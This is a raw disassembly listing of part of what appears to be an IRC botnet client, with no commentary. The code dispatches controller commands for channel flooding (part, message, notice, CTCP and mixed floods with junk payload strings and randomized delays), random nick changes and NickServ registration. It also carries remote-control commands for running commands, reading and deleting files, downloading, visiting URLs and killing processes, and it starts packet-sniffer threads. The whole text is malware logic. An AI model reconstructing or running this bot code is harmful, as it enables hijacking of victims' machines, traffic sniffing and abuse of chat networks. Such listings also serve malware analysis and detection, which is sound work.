call _strcmp
test eax, eax
pop ecx
pop ecx
jnz short loc_405816
mov eax, [ebp+esi+4Ch+var_98]
cmp eax, ebx
jz short loc_405816
push offset asc_42FE58 ; " "
push offset a_ ; "_"
push eax ; Dest
call sub_41AB7D
push eax ; Source
lea eax, [ebp+4Ch+var_4BF8]
push eax ; Dest
call _strcpy
lea eax, [ebp+4Ch+var_4BF8]
push eax
push [ebp+esi+4Ch+Format]
lea eax, [ebp+4Ch+Dst]
push offset aPrivmsgS ; "privmsg %s :"
push eax ; Dest
call _sprintf
lea eax, [ebp+4Ch+Dst]
push eax ; Dest
call sub_41A24C
add esp, 28h
loc_405816: ; CODE XREF: sub_40274D+3077j
; sub_40274D+307Fj
push [ebp+4Ch+var_8] ; Str2
push offset aNt ; "nt"
call _strcmp
test eax, eax
pop ecx
pop ecx
jnz short loc_405879
mov eax, [ebp+esi+4Ch+var_98]
cmp eax, ebx
jz short loc_405879
push offset asc_42FE58 ; " "
push offset a_ ; "_"
push eax ; Dest
call sub_41AB7D
push eax ; Source
lea eax, [ebp+4Ch+var_46F4]
push eax ; Dest
call _strcpy
lea eax, [ebp+4Ch+var_46F4]
push eax
push [ebp+esi+4Ch+Format]
lea eax, [ebp+4Ch+Dst]
push offset aNoticeSS_0 ; "notice %s :%s"
push eax ; Dest
call _sprintf
lea eax, [ebp+4Ch+Dst]
push eax ; Dest
call sub_41A24C
add esp, 28h
loc_405879: ; CODE XREF: sub_40274D+30DAj
; sub_40274D+30E2j
push [ebp+4Ch+var_8] ; Str2
push offset aMode ; "mode"
call _strcmp
test eax, eax
pop ecx
pop ecx
jnz short loc_4058DC
mov eax, [ebp+esi+4Ch+var_98]
cmp eax, ebx
jz short loc_4058DC
push offset asc_42FE58 ; " "
push offset a_ ; "_"
push eax ; Dest
call sub_41AB7D
push eax ; Source
lea eax, [ebp+4Ch+var_4DF8]
push eax ; Dest
call _strcpy
lea eax, [ebp+4Ch+var_4DF8]
push eax
push [ebp+esi+4Ch+Format]
lea eax, [ebp+4Ch+Dst]
push offset aModeSS ; "mode %s %s"
push eax ; Dest
call _sprintf
lea eax, [ebp+4Ch+Dst]
push eax ; Dest
call sub_41A24C
add esp, 28h
loc_4058DC: ; CODE XREF: sub_40274D+313Dj
; sub_40274D+3145j
push [ebp+4Ch+var_8] ; Str2
push offset aJoin ; "join"
call _strcmp
test eax, eax
pop ecx
pop ecx
jnz short loc_405918
mov eax, [ebp+esi+4Ch+Format]
cmp eax, ebx
jz short loc_405918
push eax
lea eax, [ebp+4Ch+Dst]
push offset aJoinS ; "join %s"
push eax ; Dest
call _sprintf
lea eax, [ebp+4Ch+Dst]
push eax ; Dest
call sub_41A24C
add esp, 10h
loc_405918: ; CODE XREF: sub_40274D+31A0j
; sub_40274D+31A8j
push [ebp+4Ch+var_8] ; Str2
push offset aPart_0 ; "part"
call _strcmp
test eax, eax
pop ecx
pop ecx
jnz short loc_405954
mov eax, [ebp+esi+4Ch+Format]
cmp eax, ebx
jz short loc_405954
push eax
lea eax, [ebp+4Ch+Dst]
push offset aPartS ; "part %s"
push eax ; Dest
call _sprintf
lea eax, [ebp+4Ch+Dst]
push eax ; Dest
call sub_41A24C
add esp, 10h
loc_405954: ; CODE XREF: sub_40274D+31DCj
; sub_40274D+31E4j
push [ebp+4Ch+var_8] ; Str2
push offset aPartflood ; "partflood"
call _strcmp
test eax, eax
pop ecx
pop ecx
jnz short loc_405995
mov eax, [ebp+esi+4Ch+Format]
cmp eax, ebx
jz short loc_405995
push offset a__p_a_w_a_a__p ; "..P.a.W.a.a..P.a.W.a.a..P.a.W.a.a..P.a."...
push eax
lea eax, [ebp+4Ch+Dst]
push offset aPartSS ; "part %s %s"
push eax ; Dest
call _sprintf
lea eax, [ebp+4Ch+Dst]
push eax ; Dest
call sub_41A24C
add esp, 14h
loc_405995: ; CODE XREF: sub_40274D+3218j
; sub_40274D+3220j
push [ebp+4Ch+var_8] ; Str2
push offset aPnick ; "pnick"
call _strcmp
test eax, eax
pop ecx
pop ecx
jnz short loc_405A04
cmp [ebp+esi+4Ch+Format], ebx
jz short loc_405A04
call ds:dword_42B038 ; GetTickCount
push eax
call sub_41ECD4
call _rand
cdq
mov ecx, 0F423Fh
idiv ecx
lea eax, [ebp+4Ch+var_1810]
push edx
push [ebp+esi+4Ch+Format]
push offset aSI ; "%s%i"
push eax ; Dest
call _sprintf
lea eax, [ebp+4Ch+var_1810]
push eax
lea eax, [ebp+4Ch+Dst]
push offset aNickS_0 ; "NICK %s"
push eax ; Dest
call _sprintf
lea eax, [ebp+4Ch+Dst]
push eax ; Dest
call sub_41A24C
add esp, 24h
loc_405A04: ; CODE XREF: sub_40274D+3259j
; sub_40274D+325Fj
push [ebp+4Ch+var_8] ; Str2
push offset aJoinPart ; "join/part"
call _strcmp
test eax, eax
pop ecx
pop ecx
jnz loc_405B36
cmp [ebp+esi+4Ch+Format], ebx
jz loc_405B36
push [ebp+esi+4Ch+Format]
lea eax, [ebp+4Ch+Dst]
push offset aJoinS ; "join %s"
push eax ; Dest
call _sprintf
lea eax, [ebp+4Ch+Dst]
push eax ; Dest
call sub_41A24C
push offset a__p_a_w_a_a__p ; "..P.a.W.a.a..P.a.W.a.a..P.a.W.a.a..P.a."...
push [ebp+esi+4Ch+Format]
lea eax, [ebp+4Ch+Dst]
push offset aPartSS ; "part %s %s"
push eax ; Dest
call _sprintf
lea eax, [ebp+4Ch+Dst]
push eax ; Dest
call sub_41A24C
add esp, 24h
call _rand
cdq
mov ecx, 3E8h
idiv ecx
push edx
call edi ; Sleep
push [ebp+esi+4Ch+Format]
lea eax, [ebp+4Ch+Dst]
push offset aJoinS ; "join %s"
push eax ; Dest
call _sprintf
lea eax, [ebp+4Ch+Dst]
push eax ; Dest
call sub_41A24C
add esp, 10h
call _rand
cdq
mov ecx, 384h
idiv ecx
push edx
call edi ; Sleep
push offset a__p_a_w_a_a__p ; "..P.a.W.a.a..P.a.W.a.a..P.a.W.a.a..P.a."...
push [ebp+esi+4Ch+Format]
lea eax, [ebp+4Ch+Dst]
push offset aPartSS ; "part %s %s"
push eax ; Dest
call _sprintf
lea eax, [ebp+4Ch+Dst]
push eax ; Dest
call sub_41A24C
push [ebp+esi+4Ch+Format]
lea eax, [ebp+4Ch+Dst]
push offset aJoinS ; "join %s"
push eax ; Dest
call _sprintf
lea eax, [ebp+4Ch+Dst]
push eax ; Dest
call sub_41A24C
add esp, 24h
call _rand
cdq
mov ecx, 0C8h
idiv ecx
push edx
call edi ; Sleep
push offset a__p_a_w_a_a__p ; "..P.a.W.a.a..P.a.W.a.a..P.a.W.a.a..P.a."...
push [ebp+esi+4Ch+Format]
lea eax, [ebp+4Ch+Dst]
push offset aPartSS ; "part %s %s"
push eax ; Dest
call _sprintf
lea eax, [ebp+4Ch+Dst]
push eax ; Dest
call sub_41A24C
add esp, 14h
loc_405B36: ; CODE XREF: sub_40274D+32C8j
; sub_40274D+32D2j
push [ebp+4Ch+var_8] ; Str2
push offset aDcc ; "dcc"
call _strcmp
test eax, eax
pop ecx
pop ecx
jnz short loc_405BC6
cmp [ebp+esi+4Ch+Format], ebx
jz short loc_405BC6
call ds:dword_42B038 ; GetTickCount
push eax
call sub_41ECD4
pop ecx
call _rand
cdq
mov ecx, 0F423Fh
idiv ecx
push edx
call _rand
cdq
mov ecx, 0F423Fh
idiv ecx
push edx
call _rand
cdq
mov ecx, 0F423Fh
idiv ecx
push edx
call _rand
cdq
mov ecx, 0F423Fh
idiv ecx
push edx
call _rand
cdq
mov ecx, 0F423Fh
idiv ecx
lea eax, [ebp+4Ch+Dst]
push edx
push [ebp+esi+4Ch+Format]
push offset aPrivmsgS_0 ; "PRIVMSG %s :"
push eax ; Dest
call _sprintf
lea eax, [ebp+4Ch+Dst]
push eax ; Dest
call sub_41A24C
add esp, 24h
loc_405BC6: ; CODE XREF: sub_40274D+33FAj
; sub_40274D+3400j
push [ebp+4Ch+var_8] ; Str2
push offset aNick_0 ; "nick"
call _strcmp
test eax, eax
pop ecx
pop ecx
jnz loc_405CC0
mov eax, [ebp+esi+4Ch+Format]
cmp eax, ebx
jz loc_405CC0
push eax
lea eax, [ebp+4Ch+Dst]
push offset aJoinS ; "join %s"
push eax ; Dest
call _sprintf
lea eax, [ebp+4Ch+Dst]
push eax ; Dest
call sub_41A24C
lea eax, [ebp+4Ch+var_4C4]
push eax ; Dest
call sub_41A293
lea eax, [ebp+4Ch+var_4C4]
push eax
lea eax, [ebp+4Ch+Dst]
push offset aNickS_0 ; "NICK %s"
push eax ; Dest
call _sprintf
lea eax, [ebp+4Ch+Dst]
push eax ; Dest
call sub_41A24C
add esp, 24h
call _rand
cdq
mov ecx, 514h
idiv ecx
push edx
call edi ; Sleep
lea eax, [ebp+4Ch+var_4C4]
push eax ; Dest
call sub_41A293
lea eax, [ebp+4Ch+var_4C4]
push eax
lea eax, [ebp+4Ch+Dst]
push offset aNickS_0 ; "NICK %s"
push eax ; Dest
call _sprintf
lea eax, [ebp+4Ch+Dst]
push eax ; Dest
call sub_41A24C
add esp, 14h
call _rand
cdq
mov ecx, 1F4h
idiv ecx
push edx
call edi ; Sleep
lea eax, [ebp+4Ch+var_4C4]
push eax ; Dest
call sub_41A293
lea eax, [ebp+4Ch+var_4C4]
push eax
lea eax, [ebp+4Ch+Dst]
push offset aNickS_0 ; "NICK %s"
push eax ; Dest
call _sprintf
lea eax, [ebp+4Ch+Dst]
push eax ; Dest
call sub_41A24C
add esp, 14h
loc_405CC0: ; CODE XREF: sub_40274D+348Aj
; sub_40274D+3496j
push [ebp+4Ch+var_8] ; Str2
push offset aChgnick ; "chgnick"
call _strcmp
test eax, eax
pop ecx
pop ecx
jnz short loc_405D06
lea eax, [ebp+4Ch+var_17D8]
push eax ; Dest
call sub_41A293
lea eax, [ebp+4Ch+var_17D8]
push eax
lea eax, [ebp+4Ch+Dst]
push offset aNickS_0 ; "NICK %s"
push eax ; Dest
call _sprintf
lea eax, [ebp+4Ch+Dst]
push eax ; Dest
call sub_41A24C
add esp, 14h
loc_405D06: ; CODE XREF: sub_40274D+3584j
push [ebp+4Ch+var_8] ; Str2
push offset aMsg ; "msg"
call _strcmp
test eax, eax
pop ecx
pop ecx
jnz loc_405DE3
cmp [ebp+esi+4Ch+Format], ebx
jz loc_405DE3
push [ebp+esi+4Ch+Format]
lea eax, [ebp+4Ch+Dst]
push offset aJoinS ; "join %s"
push eax ; Dest
call _sprintf
lea eax, [ebp+4Ch+Dst]
push eax ; Dest
call sub_41A24C
push offset a__p_a_w_a_a__0 ; "..P.a.W.a.a..P.a.W.a.a.P.a.W.a.a..P.a.W"...
push [ebp+esi+4Ch+Format]
lea eax, [ebp+4Ch+Dst]
push offset aPrivmsgSS ; "privmsg %s :%s"
push eax ; Dest
call _sprintf
lea eax, [ebp+4Ch+Dst]
push eax ; Dest
call sub_41A24C
add esp, 24h
call _rand
cdq
mov ecx, 3E8h
idiv ecx
push edx
call edi ; Sleep
push offset a__p_a_w_a_a__0 ; "..P.a.W.a.a..P.a.W.a.a.P.a.W.a.a..P.a.W"...
push [ebp+esi+4Ch+Format]
lea eax, [ebp+4Ch+Dst]
push offset aPrivmsgSS ; "privmsg %s :%s"
push eax ; Dest
call _sprintf
lea eax, [ebp+4Ch+Dst]
push eax ; Dest
call sub_41A24C
add esp, 14h
call _rand
cdq
mov ecx, 384h
idiv ecx
push edx
call edi ; Sleep
push offset a__p_a_w_a_a__0 ; "..P.a.W.a.a..P.a.W.a.a.P.a.W.a.a..P.a.W"...
push [ebp+esi+4Ch+Format]
lea eax, [ebp+4Ch+Dst]
push offset aPrivmsgSS ; "privmsg %s :%s"
push eax ; Dest
call _sprintf
lea eax, [ebp+4Ch+Dst]
push eax ; Dest
call sub_41A24C
add esp, 14h
loc_405DE3: ; CODE XREF: sub_40274D+35CAj
; sub_40274D+35D4j
push [ebp+4Ch+var_8] ; Str2
push offset aNotice_0 ; "notice"
call _strcmp
test eax, eax
pop ecx
pop ecx
jnz loc_405EC0
cmp [ebp+esi+4Ch+Format], ebx
jz loc_405EC0
push [ebp+esi+4Ch+Format]
lea eax, [ebp+4Ch+Dst]
push offset aJoinS ; "join %s"
push eax ; Dest
call _sprintf
lea eax, [ebp+4Ch+Dst]
push eax ; Dest
call sub_41A24C
push offset a__p_a_w_a_a__0 ; "..P.a.W.a.a..P.a.W.a.a.P.a.W.a.a..P.a.W"...
push [ebp+esi+4Ch+Format]
lea eax, [ebp+4Ch+Dst]
push offset aNoticeSS_1 ; "NOTICE %s :%s"
push eax ; Dest
call _sprintf
lea eax, [ebp+4Ch+Dst]
push eax ; Dest
call sub_41A24C
add esp, 24h
call _rand
cdq
mov ecx, 3E8h
idiv ecx
push edx
call edi ; Sleep
push offset a__p_a_w_a_a__0 ; "..P.a.W.a.a..P.a.W.a.a.P.a.W.a.a..P.a.W"...
push [ebp+esi+4Ch+Format]
lea eax, [ebp+4Ch+Dst]
push offset aNoticeSS_1 ; "NOTICE %s :%s"
push eax ; Dest
call _sprintf
lea eax, [ebp+4Ch+Dst]
push eax ; Dest
call sub_41A24C
add esp, 14h
call _rand
cdq
mov ecx, 384h
idiv ecx
push edx
call edi ; Sleep
push offset a__p_a_w_a_a__0 ; "..P.a.W.a.a..P.a.W.a.a.P.a.W.a.a..P.a.W"...
push [ebp+esi+4Ch+Format]
lea eax, [ebp+4Ch+Dst]
push offset aNoticeSS_1 ; "NOTICE %s :%s"
push eax ; Dest
call _sprintf
lea eax, [ebp+4Ch+Dst]
push eax ; Dest
call sub_41A24C
add esp, 14h
loc_405EC0: ; CODE XREF: sub_40274D+36A7j
; sub_40274D+36B1j
push [ebp+4Ch+var_8] ; Str2
push offset aCtcp ; "ctcp"
call _strcmp
test eax, eax
pop ecx
pop ecx
jnz loc_405FC2
cmp [ebp+esi+4Ch+Format], ebx
jz loc_405FC2
push [ebp+esi+4Ch+Format]
lea eax, [ebp+4Ch+Dst]
push offset aJoinS ; "join %s"
push eax ; Dest
call _sprintf
lea eax, [ebp+4Ch+Dst]
push eax ; Dest
call sub_41A24C
push [ebp+esi+4Ch+Format]
lea eax, [ebp+4Ch+Dst]
push offset aPrivmsgS_1 ; "PRIVMSG %s :"
push eax ; Dest
call _sprintf
lea eax, [ebp+4Ch+Dst]
push eax ; Dest
call sub_41A24C
add esp, 20h
call _rand
cdq
mov ecx, 514h
idiv ecx
push edx
call edi ; Sleep
push [ebp+esi+4Ch+Format]
lea eax, [ebp+4Ch+Dst]
push offset aPrivmsgS_2 ; "PRIVMSG %s :"
push eax ; Dest
call _sprintf
lea eax, [ebp+4Ch+Dst]
push eax ; Dest
call sub_41A24C
add esp, 10h
call _rand
cdq
mov ecx, 514h
idiv ecx
push edx
call edi ; Sleep
push [ebp+esi+4Ch+Format]
lea eax, [ebp+4Ch+Dst]
push offset aPrivmsgS_3 ; "PRIVMSG %s :"
push eax ; Dest
call _sprintf
lea eax, [ebp+4Ch+Dst]
push eax ; Dest
call sub_41A24C
add esp, 10h
call _rand
cdq
mov ecx, 514h
idiv ecx
push edx
call edi ; Sleep
push [ebp+esi+4Ch+Format]
lea eax, [ebp+4Ch+Dst]
push offset aPrivmsgS_3 ; "PRIVMSG %s :"
push eax ; Dest
call _sprintf
lea eax, [ebp+4Ch+Dst]
push eax ; Dest
call sub_41A24C
add esp, 10h
loc_405FC2: ; CODE XREF: sub_40274D+3784j
; sub_40274D+378Ej
push [ebp+4Ch+var_8] ; Str2
push offset aMix ; "mix"
call _strcmp
test eax, eax
pop ecx
pop ecx
jnz loc_4060D3
cmp [ebp+esi+4Ch+Format], ebx
jz loc_4060D3
push [ebp+esi+4Ch+Format]
lea eax, [ebp+4Ch+Dst]
push offset aJoinS ; "join %s"
push eax ; Dest
call _sprintf
lea eax, [ebp+4Ch+Dst]
push eax ; Dest
call sub_41A24C
push [ebp+esi+4Ch+Format]
lea eax, [ebp+4Ch+Dst]
push offset aPrivmsgS_1 ; "PRIVMSG %s :"
push eax ; Dest
call _sprintf
lea eax, [ebp+4Ch+Dst]
push eax ; Dest
call sub_41A24C
add esp, 20h
call _rand
cdq
mov ecx, 514h
idiv ecx
push edx
call edi ; Sleep
push offset a__p_a_w_a_a__0 ; "..P.a.W.a.a..P.a.W.a.a.P.a.W.a.a..P.a.W"...
push [ebp+esi+4Ch+Format]
lea eax, [ebp+4Ch+Dst]
push offset aNoticeSS_1 ; "NOTICE %s :%s"
push eax ; Dest
call _sprintf
lea eax, [ebp+4Ch+Dst]
push eax ; Dest
call sub_41A24C
add esp, 14h
call _rand
cdq
mov ecx, 514h
idiv ecx
push edx
call edi ; Sleep
push offset a__p_a_w_a_a__0 ; "..P.a.W.a.a..P.a.W.a.a.P.a.W.a.a..P.a.W"...
push [ebp+esi+4Ch+Format]
lea eax, [ebp+4Ch+Dst]
push offset aPrivmsgSS_0 ; "PRIVMSG %s :%s"
push eax ; Dest
call _sprintf
lea eax, [ebp+4Ch+Dst]
push eax ; Dest
call sub_41A24C
add esp, 14h
call _rand
cdq
mov ecx, 514h
idiv ecx
push edx
call edi ; Sleep
push offset a__p_a_w_a_a__0 ; "..P.a.W.a.a..P.a.W.a.a.P.a.W.a.a..P.a.W"...
push [ebp+esi+4Ch+Format]
lea eax, [ebp+4Ch+Dst]
push offset aNoticeSS_1 ; "NOTICE %s :%s"
push eax ; Dest
call _sprintf
lea eax, [ebp+4Ch+Dst]
push eax ; Dest
call sub_41A24C
add esp, 14h
loc_4060D3: ; CODE XREF: sub_40274D+3886j
; sub_40274D+3890j
push [ebp+4Ch+var_8] ; Str2
push offset aRegister ; "register"
call _strcmp
test eax, eax
pop ecx
pop ecx
jnz short loc_406113
mov eax, [ebp+esi+4Ch+var_98]
cmp eax, ebx
jz short loc_406113
push eax
push [ebp+esi+4Ch+Format]
lea eax, [ebp+4Ch+Dst]
push offset aNickservRegist ; "nickserv register %s %s"
push eax ; Dest
call _sprintf
lea eax, [ebp+4Ch+Dst]
push eax ; Dest
call sub_41A24C
add esp, 14h
loc_406113: ; CODE XREF: sub_40274D+3997j
; sub_40274D+399Fj
push [ebp+4Ch+var_8] ; Str2
push offset Str2 ; "off"
call _strcmp
test eax, eax
pop ecx
pop ecx
jnz loc_406CD6
mov edi, offset dword_4DB58C
loc_40612F: ; CODE XREF: sub_40274D+3A01j
cmp dword ptr [edi-4], 1
jnz short loc_406142
mov eax, [edi]
cmp eax, ebx
jbe short loc_406142
push eax
call dword_444218 ; closesocket
loc_406142: ; CODE XREF: sub_40274D+39E6j
; sub_40274D+39ECj
add edi, 210h
cmp edi, offset dword_4E1CAC
jl short loc_40612F
cmp [ebp+4Ch+var_C], ebx
jnz loc_406CD6
push ebx ; int
push [ebp+4Ch+var_4] ; int
push offset unk_42E784 ; int
push [ebp+4Ch+Format] ; Str
push [ebp+4Ch+arg_4] ; int
call sub_40123B
add esp, 14h
jmp loc_406CD6
; ---------------------------------------------------------------------------
loc_406175: ; CODE XREF: sub_40274D+2F7Aj
mov edi, [ebp+4Ch+var_10]
push edi ; Str2
push offset aNick_0 ; "nick"
call _strcmp
test eax, eax
pop ecx
pop ecx
jz loc_409FBE
push edi ; Str2
push offset aN ; "n"
call _strcmp
test eax, eax
pop ecx
pop ecx
jz loc_409FBE
push edi ; Str2
push offset aJoin ; "join"
call _strcmp
test eax, eax
pop ecx
pop ecx
jz loc_409F95
push edi ; Str2
push offset aJ ; "j"
call _strcmp
test eax, eax
pop ecx
pop ecx
jz loc_409F95
push edi ; Str2
push offset aPart_0 ; "part"
call _strcmp
test eax, eax
pop ecx
pop ecx
jz loc_409F7B
push edi ; Str2
push offset aPt ; "pt"
call _strcmp
test eax, eax
pop ecx
pop ecx
jz loc_409F7B
push edi ; Str2
push offset aRaw ; "raw"
call _strcmp
test eax, eax
pop ecx
pop ecx
jz loc_409F45
push edi ; Str2
push offset aR ; "r"
call _strcmp
test eax, eax
pop ecx
pop ecx
jz loc_409F45
push edi ; Str2
push offset aKillthread ; "killthread"
call _strcmp
test eax, eax
pop ecx
pop ecx
jz loc_409E9F
push edi ; Str2
push offset aK ; "k"
call _strcmp
test eax, eax
pop ecx
pop ecx
jz loc_409E9F
push edi ; Str2
push offset aC_quit ; "c_quit"
call _strcmp
test eax, eax
pop ecx
pop ecx
jz loc_409DF1
push edi ; Str2
push offset aC_q ; "c_q"
call _strcmp
test eax, eax
pop ecx
pop ecx
jz loc_409DF1
push edi ; Str2
push offset aC_rndnick ; "c_rndnick"
call _strcmp
test eax, eax
pop ecx
pop ecx
jz loc_409D7C
push edi ; Str2
push offset aC_rn ; "c_rn"
call _strcmp
test eax, eax
pop ecx
pop ecx
jz loc_409D7C
push edi ; Str2
push offset aPrefix ; "prefix"
call _strcmp
test eax, eax
pop ecx
pop ecx
jz loc_409D63
push edi ; Str2
push offset aPr ; "pr"
call _strcmp
test eax, eax
pop ecx
pop ecx
jz loc_409D63
push edi ; Str2
push offset aOpen ; "open"
call _strcmp
test eax, eax
pop ecx
pop ecx
jz loc_409D35
push edi ; Str2
push offset aO ; "o"
call _strcmp
test eax, eax
pop ecx
pop ecx
jz loc_409D35
push edi ; Str2
push offset aServer_1 ; "server"
call _strcmp
test eax, eax
pop ecx
pop ecx
jz loc_409D0C
push edi ; Str2
push offset aSe ; "se"
call _strcmp
test eax, eax
pop ecx
pop ecx
jz loc_409D0C
push edi ; Str2
push offset aDns ; "dns"
call _strcmp
test eax, eax
pop ecx
pop ecx
jz loc_409CA4
push edi ; Str2
push offset aDn ; "dn"
call _strcmp
test eax, eax
pop ecx
pop ecx
jz loc_409CA4
push edi ; Str2
push offset aKillproc ; "killproc"
call _strcmp
test eax, eax
pop ecx
pop ecx
jz loc_409C74
push edi ; Str2
push offset aKp ; "kp"
call _strcmp
test eax, eax
pop ecx
pop ecx
jz loc_409C74
push edi ; Str2
push offset aKill ; "kill"
call _strcmp
test eax, eax
pop ecx
pop ecx
jz loc_409C18
push edi ; Str2
push offset aKi ; "ki"
call _strcmp
test eax, eax
pop ecx
pop ecx
jz loc_409C18
push edi ; Str2
push offset aDelete ; "delete"
call _strcmp
test eax, eax
pop ecx
pop ecx
jz loc_409BDD
push edi ; Str2
push offset aDel ; "del"
call _strcmp
test eax, eax
pop ecx
pop ecx
jz loc_409BDD
push edi ; Str2
push offset aGet_1 ; "get"
call _strcmp
test eax, eax
pop ecx
pop ecx
jz loc_409B06
push edi ; Str2
push offset aGt ; "gt"
call _strcmp
test eax, eax
pop ecx
pop ecx
jz loc_409B06
push edi ; Str2
push offset aList ; "list"
call _strcmp
test eax, eax
pop ecx
pop ecx
jz loc_409AEA
push edi ; Str2
push offset aLi ; "li"
call _strcmp
test eax, eax
pop ecx
pop ecx
jz loc_409AEA
push edi ; Str2
push offset aVisit ; "visit"
call _strcmp
test eax, eax
pop ecx
pop ecx
jz loc_409A00
push edi ; Str2
push offset aV ; "v"
call _strcmp
test eax, eax
pop ecx
pop ecx
jz loc_409A00
push edi ; Str2
push offset aMirccmd ; "mirccmd"
call _strcmp
test eax, eax
pop ecx
pop ecx
jz loc_40998D
push edi ; Str2
push offset aMirc ; "mirc"
call _strcmp
test eax, eax
pop ecx
pop ecx
jz loc_40998D
push edi ; Str2
push offset aCmd ; "cmd"
call _strcmp
test eax, eax
pop ecx
pop ecx
jz loc_409937
push edi ; Str2
push offset aCm ; "cm"
call _strcmp
test eax, eax
pop ecx
pop ecx
jz loc_409937
push edi ; Str2
push offset aReadfile ; "readfile"
call _strcmp
test eax, eax
pop ecx
pop ecx
jz loc_4098AF
push edi ; Str2
push offset aRf ; "rf"
call _strcmp
test eax, eax
pop ecx
pop ecx
jz loc_4098AF
push edi ; Str2
push offset aPsniff ; "psniff"
call _strcmp
test eax, eax
pop ecx
pop ecx
jnz loc_406608
push [ebp+4Ch+var_8] ; Str2
push offset aOn ; "on"
call _strcmp
test eax, eax
pop ecx
pop ecx
jnz loc_4065CE
push 20h
call sub_40B075
test eax, eax
pop ecx
jle short loc_406502
push offset dword_42E688
jmp loc_4078C9
; ---------------------------------------------------------------------------
loc_406502: ; CODE XREF: sub_40274D+3DA9j
mov eax, [ebp+4Ch+arg_4]
mov esi, [ebp+esi+4Ch+Format]
cmp esi, ebx
mov [ebp+4Ch+var_FF4], eax
mov eax, [ebp+4Ch+var_4]
mov [ebp+4Ch+var_F6C], eax
mov eax, [ebp+4Ch+var_C]
mov [ebp+4Ch+var_F68], eax
jnz short loc_40653E
push offset byte_42B633 ; Str2
mov esi, offset a_fast__2 ; "#.fast.#"
push esi ; Str1
call _strcmp
test eax, eax
pop ecx
pop ecx
jnz short loc_40653E
mov esi, [ebp+4Ch+Format]
loc_40653E: ; CODE XREF: sub_40274D+3DD6j
; sub_40274D+3DECj
push esi ; Format
lea eax, [ebp+4Ch+var_FF0]
push 80h ; Count
push eax ; Dest
call __snprintf
lea eax, [ebp+4Ch+Dst]
push offset asc_42E658 ; "-"
push eax ; Dest
call _sprintf
push ebx ; int
lea eax, [ebp+4Ch+Dst]
push 20h ; int
push eax ; Source
call sub_40AE85
add esp, 20h
mov [ebp+4Ch+var_F70], eax
lea eax, [ebp+4Ch+var_1C]
push eax
push ebx
lea eax, [ebp+4Ch+var_FF4]
push eax
push offset sub_414ECA
push ebx
push ebx
call ds:dword_42B03C ; CreateThread
mov ecx, [ebp+4Ch+var_F70]
imul ecx, 234h
cmp eax, ebx
mov dword_4444FC[ecx], eax
jnz short loc_4065C1
call ds:dword_42B01C ; RtlGetLastWin32Error
push eax
push offset dword_42E61C
jmp loc_40697E
; ---------------------------------------------------------------------------
loc_4065B9: ; CODE XREF: sub_40274D+3E7Aj
push 32h
call ds:dword_42B014 ; Sleep
loc_4065C1: ; CODE XREF: sub_40274D+3E59j
cmp [ebp+4Ch+var_F64], ebx
jz short loc_4065B9
jmp loc_40698D
; ---------------------------------------------------------------------------
loc_4065CE: ; CODE XREF: sub_40274D+3D99j
push [ebp+4Ch+var_8] ; Str2
push offset Str2 ; "off"
call _strcmp
test eax, eax
pop ecx
pop ecx
jnz loc_40698D
push ebx
push 20h
call sub_40B028
cmp eax, ebx
pop ecx
pop ecx
jle short loc_4065FE
push eax
push offset dword_42E5E0
jmp loc_40697E
; ---------------------------------------------------------------------------
loc_4065FE: ; CODE XREF: sub_40274D+3EA4j
push offset dword_42E5B4
jmp loc_4078C9
; ---------------------------------------------------------------------------
loc_406608: ; CODE XREF: sub_40274D+3D82j
push edi ; Str2
push offset aSniffer ; "sniffer"
call _strcmp
test eax, eax
pop ecx
pop ecx
jnz loc_406750
push [ebp+4Ch+var_8] ; Str2
push offset aOn ; "on"
call _strcmp
test eax, eax
pop ecx
pop ecx
jnz loc_406716
push 21h
call sub_40B075
test eax, eax
pop ecx
jle short loc_40664A
push offset unk_42E58C
jmp loc_4078C9
; ---------------------------------------------------------------------------
loc_40664A: ; CODE XREF: sub_40274D+3EF1j
mov eax, [ebp+4Ch+arg_4]
mov esi, [ebp+esi+4Ch+Format]
cmp esi, ebx
mov [ebp+4Ch+var_ECC], eax
mov eax, [ebp+4Ch+var_4]
mov [ebp+4Ch+var_E44], eax
mov eax, [ebp+4Ch+var_C]
mov [ebp+4Ch+var_E40], eax
jnz short loc_406686
push offset byte_42B633 ; Str2
mov esi, offset a_fast__2 ; "#.fast.#"
push esi ; Str1
call _strcmp
test eax, eax
pop ecx
pop ecx
jnz short loc_406686
mov esi, [ebp+4Ch+Format]
loc_406686: ; CODE XREF: sub_40274D+3F1Ej
; sub_40274D+3F34j
push esi ; Format
lea eax, [ebp+4Ch+var_EC8]
push 80h ; Count
push eax ; Dest
call __snprintf
lea eax, [ebp+4Ch+Dst]
push offset asc_42E55C ; "-"
push eax ; Dest
call _sprintf
push ebx ; int
lea eax, [ebp+4Ch+Dst]
push 21h ; int
push eax ; Source
call sub_40AE85
add esp, 20h
mov [ebp+4Ch+var_E48], eax
lea eax, [ebp+4Ch+var_1C]
push eax
push ebx
lea eax, [ebp+4Ch+var_ECC]
push eax
push offset sub_41549E
push ebx
push ebx
call ds:dword_42B03C ; CreateThread
mov ecx, [ebp+4Ch+var_E48]
imul ecx, 234h
cmp eax, ebx
mov dword_4444FC[ecx], eax
jnz short loc_406709
call ds:dword_42B01C ; RtlGetLastWin32Error
push eax
push offset unk_42E520
jmp loc_40697E
; ---------------------------------------------------------------------------
loc_406701: ; CODE XREF: sub_40274D+3FC2j
push 32h
call ds:dword_42B014 ; Sleep
loc_406709: ; CODE XREF: sub_40274D+3FA1j
cmp [ebp+4Ch+var_E3C], ebx
jz short loc_406701
jmp loc_40698D
; ---------------------------------------------------------------------------
loc_406716: ; CODE XREF: sub_40274D+3EE1j
push [ebp+4Ch+var_8] ; Str2
push offset Str2 ; "off"
call _strcmp
test eax, eax
pop ecx
pop ecx
jnz loc_40698D
push ebx
push 21h
call sub_40B028
cmp eax, ebx
pop ecx
pop ecx
jle short loc_406746
push eax
push offset unk_42E4E0
jmp loc_40697E
; ---------------------------------------------------------------------------
loc_406746: ; CODE XREF: sub_40274D+3FECj
push offset unk_42E4AC
jmp loc_4078C9
; ---------------------------------------------------------------------------
loc_406750: ; CODE XREF: sub_40274D+3ECAj
push edi ; Str2
push offset aIdent ; "ident"
call _strcmp
test eax, eax
pop ecx
pop ecx
jnz loc_406825
push [ebp+4Ch+var_8] ; Str2
push offset aOn ; "on"
call _strcmp
test eax, eax
pop ecx
pop ecx
jnz short loc_4067EB
push 2
call sub_40B075
test eax, eax
pop ecx
lea eax, [ebp+4Ch+Dst]
jle short loc_406794
push offset dword_42E484
jmp loc_4078CF
; ---------------------------------------------------------------------------
loc_406794: ; CODE XREF: sub_40274D+403Bj
push offset asc_42E458 ; "-"
push eax ; Dest
call _sprintf
push ebx ; int
